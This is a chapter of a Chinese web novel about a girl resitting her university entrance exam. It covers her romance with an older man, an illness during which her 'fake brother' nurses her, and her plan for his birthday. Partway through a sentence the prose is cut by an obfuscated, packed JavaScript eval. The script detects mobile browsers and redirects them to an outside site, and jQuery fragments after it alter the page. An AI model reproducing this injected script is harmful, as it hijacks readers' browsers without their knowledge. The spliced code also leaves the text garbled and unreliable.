27. 春分
作品:《自食苦果[伪兄妹]》 五星级酒店的床肯定要比孟尽桀房间里的软。
黎予礼瘫软在他怀里,像一只吃饱了的猫,露出餍足的肚皮享受主人的抚摸。
不。
她才是主人。
黎予礼撑起上半身,屋里的暖气让床头柜上的香薰气味扩散得更为浓郁。
她不是很喜欢木质调,总令她感到昏昏沉沉。
也可能是温泉泡太久了。
她垂眸看着孟尽桀时不时帮她揉捏肌肉的手,问:“你是哪个大学毕业的?”
“嗯?”孟尽桀大概是没想到她会突然好奇这个,“申大。”
她想起他说过的,他妈妈是申城人。
申城大学。
“211工程”、“双一流”建设高校。
黎予礼盯着手机屏幕上百度百科出来的词条信息。
孟尽桀瞥了一眼,笑说:“你想去申大?直接问我不就行了吗?百度百科可不会告诉你它宿舍环境怎么样。”
“我是想看看它去年最低录取分数。”黎予礼熟练地切换界面,看到了那个比本科线高出将近200分的数字。
她沉沉叹了口气。
“怎么了?”孟尽桀察觉到她的情绪变化,一脸担忧地坐起身,“你一模的成绩如果能保持的话,申大应该是没问题的。”
但问题就是她无法保证自己高考的时候还能维持这个成绩。
毕竟去年她就搞砸了。
“说得容易,”她苦笑道,“我去年连本科线都没够着。”
“本科线?”孟尽桀高考的时候还不是这样划分的,“相当于是在这个分数线以下的考生无法填报本科院校的志愿吗?”
黎予礼难得耐心,给他解释了一番新高考的规则。
孟尽桀却抓住了重点:“所以半年过去你就提了这么多分?”
他的眼神瞬间明亮如炬,目光里透着钦佩与赞赏。
是啊。
半年过去了。
她淡淡点头,没有谦虚:“有人说过我很聪明。”
“哈哈,用不着别人说,”孟尽桀嘴角上扬,“你就是很聪明。”
他的语气听上去像是哄人的玩笑,黎予礼本不想当真。
这种没有实质性作用的夸奖对于现阶段的她来说无意义。
孟尽桀却忽然一本正经:“而且我发现你很有运动天赋。”
“……从哪看出来的?”黎予礼满眼疑惑。
她可不是什么爱运动的人。
极限运动除外。
“你骑的那辆可是公路自行车欸,大多数学生的代步工具都是普通自行车。”
孟尽桀详细举例说明。
“骑公路自行车,心肺耐力要高、下肢力量要强、身体核心要稳。”
黎予礼耸了耸肩:“所以我摔了。”
“不是……”孟尽桀被她逗笑,“你那时候又不是第一次骑,再说了你是为了避让行人才摔的。”
证据不够充分,黎予礼将信将疑。
他继续佐证:“而且之前我教你骑车,你很快就上手了……”
“那你还不让我自己开。”黎予礼打断他。
孟尽桀笑着凑过去吻她嘴角:“不能无证驾驶呀宝贝。”
他的手从她腰侧顺势向下,厚实的被褥仿佛出现蛇爬行过的褶皱痕迹。
就在黎予礼以为他要继续在温泉池里没做够的事情时,他的手竟堪堪停在她小腿处。
两指夹着她的踝关节,掌心的薄茧贴着她光滑的肌肤。
“你没发现你的跟腱很长的吗?在弹跳方面有先天条件优势。”他还在为自己的观念提出论据。
黎予礼缓缓抽腿,直至踩住孟尽桀的手心。
她偏头贴上他耳垂,说:“没发现……”
孟尽桀托着她的脚,她屈起的膝盖正抵着他的胸肌。
“你说的天赋,是所有运动都包括在内的吗?”
当然了。
孟尽桀没有回答。
他一边吻她一边转移话题:“你真的想去申大吗?”
黎予礼翻了个白眼,对他坏气氛的话表达不满:“我就随便看看……”
“不过同分情况下报申大不划算,逾桐大学录取分数线和它差不多吧,还是985呢。”孟尽桀动作不停,嘴也不停。
他叽里咕噜说了一堆,黎予礼左耳朵进右耳朵出。
“你不想在逾桐吗?”孟尽桀读懂了她沉默的含义。
她没有否认:“……人总要出去……见见世面吧?”
发丝散落在枕边,暖气让体温很快攀升。
“我当年也是这么想的,”孟尽桀拨开她胸前的头发,俯身亲吻,“而且我还天真地以为,去到我妈生活的城市后我能过得比原来开心……”
黎予礼不明白他为什么一定要在这样的时刻说煞风景的话题。
但关乎他的家庭,她只能硬着头皮倾听。
“结果才开学一个月我就想回来了,还是喜欢待在逾桐。”
被他留下吻痕的地方越来越多,黎予礼觉得自己以后可能要天天穿高领、戴围巾。
“所以你不如再考虑考虑,而且我也在逾桐啊……”
暧昧的尾音深深埋入,孟尽桀深呼吸调整好频率。
黎予礼哪还有心思考虑。
她在这个瞬间认同了孟尽桀方才的观点。
她确实很有运动天赋。
*
冬天好像变成了一只嗜睡的猫,窝在逾桐市的角落里,偶尔一阵凉风吹散了薄薄的雾。
也将“猫毛”吹向四处。
黎予礼打了个喷嚏。
她并没有意识到这是生病的前兆,一场由换季引起的流行性感冒席卷而来。
班里同学相继出现低热、头痛、干咳等症状,校方交代班主任叮嘱学生们注意防护。
可一个个拿身体当成消耗品来使用的备考生们哪里敌得过病毒。
黎予礼本想强撑着把试卷做完,奈何头晕难捱,纸上的文字好像全变成了感冒灵颗粒。
被“哗哗”倒进杯子里。
滚烫的水“咕嘟咕嘟”冲进去。
“小心烫。”黎宴琛把搅匀的药递过去给她。
她压根不记得自己是怎么回到家的。
好像是她昏昏沉沉地趴在桌上,好心的同桌跑去跟班主任打了报告。
再然后,她就什么也不记得了。
没人告诉她生病会产生幻觉。
她接过杯子,双手握着,升腾的热气氲得她眼眶有些湿润。
黎宴琛坐在床边,忽然抬手去碰她的额头。
微凉的手背贴上她发烫的皮肤。
有温差的触感让她意识到这不是幻觉。
也不是做梦。
“……你不用工作吗?”黎予礼哑声开口。
她这才发现自己的嗓子干涸得发紧。
“我去给你倒杯温水。”黎宴琛起身出了房间。
又是这样,又不正面回答她。
他再次回到房间时,黎予礼已将那还未冷却的感冒药喝下。
热流顺着食道向下,进入胃里。
对“多喝热水”存在误区的她觉得还挺舒服的,却被黎宴琛厉声制止:“放凉了再喝。”
“……”半杯下肚。
“喝太热的容易灼伤食道和胃黏膜,”黎宴琛干脆把她手里那杯药拿走,把温水塞过去,“先喝水润润喉咙吧。”
“……”喝不下了。
黎宴琛单手握着杯子轻轻摇晃,杯里的药液呈漏斗状漩涡。
她知道他这是在帮她快速降温。
“你们班主任说病好了再回校,你那些复习资料我麻烦你同桌帮忙收拾了一些,不知道有没有缺漏的,有的话你跟我说,我明天再去一趟学校。”
掌心隔着杯壁感受里面的温度有所下降,黎宴琛这才放心把药再次给她。
“……生病了哪还有心情学习。”她随口嘟囔了一句。
下意识顶嘴罢了,并非真心。
现在的她已充分意识到,应试教育就是重复、重复再重复。
不管是天赋异禀还是投机取巧,只要刷的题够多、见的题型够全,任何考试都不过是一纸书卷。
所以她必须争分夺秒,在枯燥又无趣的题海里练习闭气。
直到游至高考的彼岸。
但如果她生着病还刻苦复习,八成会让黎宴琛以为太阳打西边出来了,不如干脆借这个机会好好休息一下。
要知道自打元旦以后,她可是一刻也没有松懈过。
课间也学、吃饭也学。
就连去修车行,书包里也装着单词本。
因为去年的这个时候她才正式把复习掰回正轨,她比任何人都清楚什么叫“时间紧任务重”。
也是没想到时隔一年,她竟在思维模糊的状态下共情了徐寅安对学习的渴望。
好可怕。
她差点怀疑自己烧傻了。
“帮你量过了,是低烧,”黎宴琛适时开口,“吃了药就先休息吧,到点我再叫你起来吃晚饭。”
“你不用工作吗?”她又问。
像是好奇这个长时间未与她有过交流的人心里藏着怎样的目的。
黎宴琛帮她掖了掖被角:“不用,等你病好了再说。”
黎予礼还未躺下,身上的被子就已平平整整地包裹住她。
“别,你该干嘛干嘛去,万一……”
万一传染你我可照顾不了。
话到了嘴边被她生生咽下。
“万一什么?”黎宴琛看出她眼底的犹豫。
她摇摇头:“没什么。”
话说完后作势要躺下,以阻止黎宴琛的追问。
手摸到身后的枕头时才发觉自己大概真的烧傻了,坐在黎宴琛床上这么久也没发现这不是她的房间。
“……我怎么在你这儿?”
黎宴琛神色如常,平静地答:“吃了药后可能会出汗,等你睡醒洗了澡再回你房间。”
这语气仿佛在说“我不过是把桃子从果篮里放到了冰箱”一样。
“你忘了你小时候生病弄湿了枕头和床单,就吵着闹着说再也不睡自己的房间了吗?”他忽然拿名为“过去”的证据来证明自己行为的正确性。
黎予礼难得没有顶撞他。
因为他说的是实话。
以前黎予礼每次发烧,外婆都会让她在被窝里捂出一身汗,说是能够散热退烧。
但等退了烧、换了床单,她却怎么也不肯再回去睡觉。
非说自己的床没有哥哥的香。
吵着闹着要霸占黎宴琛的房。
没办法。
还不如先让她当强盗。
反正被掠夺的人都是黎宴琛。
“休息吧,”他一手拿起两个空杯子,“有事就叫我。”
睡着了能有什么事。
黎予礼瞪着缓缓关上的房门。
淡淡桃子香味飘浮在空气里,渐渐渗入被褥,将她的梦完全包裹。
她本想在睡前给孟尽桀发消息,告诉他自己生了病,顺便提醒他注意身体。
奈何实在太困了,脑袋沾了枕头就昏昏沉沉睡去。
黎宴琛房间里的香薰才是真的助眠吧。
不仅助眠,还能篡改她的梦境。
她好像梦到自己在一处极热之地,浑身发汗的同时不停寻找能够降温的物品。
几经周折,她终于在一片白茫茫的雾气中摸到一个比自己体温低不少的玩偶。
看不清玩偶的样子。
但她紧紧抱住的时候能够闻到很浓郁的桃子味。
太热了。
她不得不把玩偶越抱越紧。
死活不肯松开。
期间感觉到好像有人在争抢她怀里的玩偶,她拼了命拽住。
不让对方有一丝一毫的机会。
滚烫的梦渐渐下坠,落入潮湿。
怀里的玩偶好像也被她弄湿了。
好闻的桃子味被汗水掩盖,昏沉的意识随着熟悉的气息消散。
她睡得很安稳。
直到黎宴琛敲门进来叫她起床吃晚饭。
“予礼,”他低声轻唤,“该起床了。”
他小心翼翼地把手伸进被子里,摸到她手腕上那条细细的红绳。
上面还残留着她褪去的高温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855459|175906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
像被灼烧的血管,时刻提醒他们之间的关系不存在。
黎予礼下意识一抓,没想到反握住了黎宴琛的手。
她揉着眼睛坐起身,见他垂眸怔着,才顺着他的视线往下看——
——她牢牢握着他的手。
就像梦里抱着玩偶那样。
“……到点吃饭了吗?”她尴尬地抽回手,转移话题问。
“嗯。”他的目光仍落在她腕间。
黎予礼起床后,用黎宴琛准备好的热毛巾简单擦了擦脸,又在黎宴琛的监督下用电子体温计测了三次体温。
待他反复确认上面的数字低于37.3后才放心让她去餐桌吃饭。
难不成没退烧的话他要亲自坐在床边喂吗?
多此一举。
家里只有他们俩,黎予礼没看到家政阿姨来过的痕迹,这一桌子菜多半是黎宴琛准备的。
鲫鱼豆腐汤、萝卜炖牛腩、小米南瓜粥。
明明都是普通家常菜,看上去却十分精细。
和烹饪它们的人一样,做事一丝不苟。
黎予礼连凳子都不用自己拉开,粥和汤也是黎宴琛帮她盛好。
但已经忘了有多久没和他同桌吃饭。
黎予礼浑身不自在。
还记得两个月前她为了引起黎宴琛的注意,故意用亲密付刷了一晚上四位数的温泉酒店情侣套房。
结果人家根本不在意。
黎予礼自讨没趣,从那以后和黎宴琛井水不犯河水。
要不是这一次生病,她已然把他当成了同居的陌生人。
而她现在要吃“陌生人”做的饭,吃“陌生人”夹的菜,吃“陌生人”为她剃干净刺的鱼肉。
好奇怪,真的好奇怪。
加之“陌生人”的沉默寡言,这顿病号餐她吃得很不是滋味。
没想到打破寂静的是黎宴琛是来电响铃。
“喂。”他毫不避讳地接起。
黎予礼不知道电话那头是谁,看似埋头吃饭假装不在意,实则悄悄竖起耳朵偷听。
“下周吧,我这周没空。”他一手拿着手机,一手还用筷子挑着鱼刺。
黎予礼看着那块白净的鱼肉从黎宴琛筷尖转移至她碗里,猛然想起今早班主任提了一嘴的百日誓师动员大会。
因为他们这群复读生去年参加过一次,没什么新鲜劲儿了,基本没人在意。
何况她当时头昏脑胀,一只耳朵进一只耳朵出,听到黎宴琛说的“下周”才触发率她的记忆开关。
“班主任说百日誓师那天要开家长会。”她用气音说,以免打扰黎宴琛的通话。
其实黎宴琛已经很久没有担任她“家长”这一职务了,但她不想麻烦小姨。
孟尽桀又不可能代劳。
思来想去还是得黎宴琛这个冒牌哥哥出马。
他闻言立马将手机拿远:“什么时候?”
“就下周一。”她咬着筷子答。
没有留意他在听到“家长”二字时眼底的情绪变化。
黎宴琛点头以示知晓,对着手机说推掉他下周的行程。
她了然电话那头的人是他的助理。
“对了,”黎予礼起床时发现自己的外套整整齐齐叠放在床头柜上,但除此之外没见其他衣物,“你有看到我的围巾吗?”
正在收拾餐桌的黎宴琛一顿。
“……什么围巾?”
“又粉又蓝又紫的,摸上去有点起球。”她明明记得她今天戴着。
难不成是落在学校了?
黎宴琛端着碗盘转身走向厨房,背对着她说:“没看到。”
“你去接我的时候也没见吗?”她不死心,正拿起手机发消息问同桌。
黎宴琛不说话了。
洗碗的水流声淹没了他。
收到同桌说“没注意”的消息后,她扁了扁嘴打算放弃寻找。
反正孟尽桀送了不止一条。
反正冬天已沉沉睡去。
百日誓师对黎予礼来说已经没什么鼓舞作用了,求天求地都不如求自己。
而且启承是在自家操场上举办,没有文庙的氛围,单纯为了打点鸡血。
结束后黎予礼就在操场踢石头,教室还被家长会占用,学生们只能干等。
有这时间还不如多刷两道题,今年她依旧这么想。
“欸你听说了吗?启承往年都不让高三生参加春季趣味运动会,今年好像说为了给我们减轻压力,要全校师生一起玩儿。”
她听到不远处有几个学生聚在一起闲聊。
“真的假的?但趣味运动会一开就开三天欸,年级主任不觉得浪费时间吗?”
“说是这么说,到时候真让你参加,试卷也少不了你的,苦的还是我们。”
……
“哪天开啊?下个月吗?”
“嗯,春分那天。”
春分。
昼夜等长,季节平分。
如果黎予礼没记错的话,今年黎宴琛生日恰好在春分。
往年他生日,黎予礼会用他的钱给他准备生日礼物。
去年也不例外,当时虚假的兄妹关系还未被戳穿,她挑了一条看上去很称他的领带。
不过一次也没见他系过。
今年还送吗?
这种无意义的形式早该解除了吧?
她生日的时候都没让他送。
26岁也不是什么特殊年龄。
说是这么说,但黎予礼坐在司机车上路过一家装修很华丽的蛋糕店时,还是不受控地萌发了要给黎宴琛庆生的念头。
就当是谢他照顾病人吧?
就当是她想吃蛋糕了吧?
嗯。
黎予礼挑了一个小四寸的精致蛋糕。
够她吃就行了。
得益于运动会不用上课,她把蛋糕拎回家时黎宴琛还没下班。
家里的冰箱不知道为什么塞得满满当当,黎予礼把盒子放到厨房岛台上,打算收拾出一个可以容纳蛋糕的空间。
不料在岛台边缘的卫生死角,发现了一滴小小的、凝固的、陈旧的、泪痕一般的——
——蜡。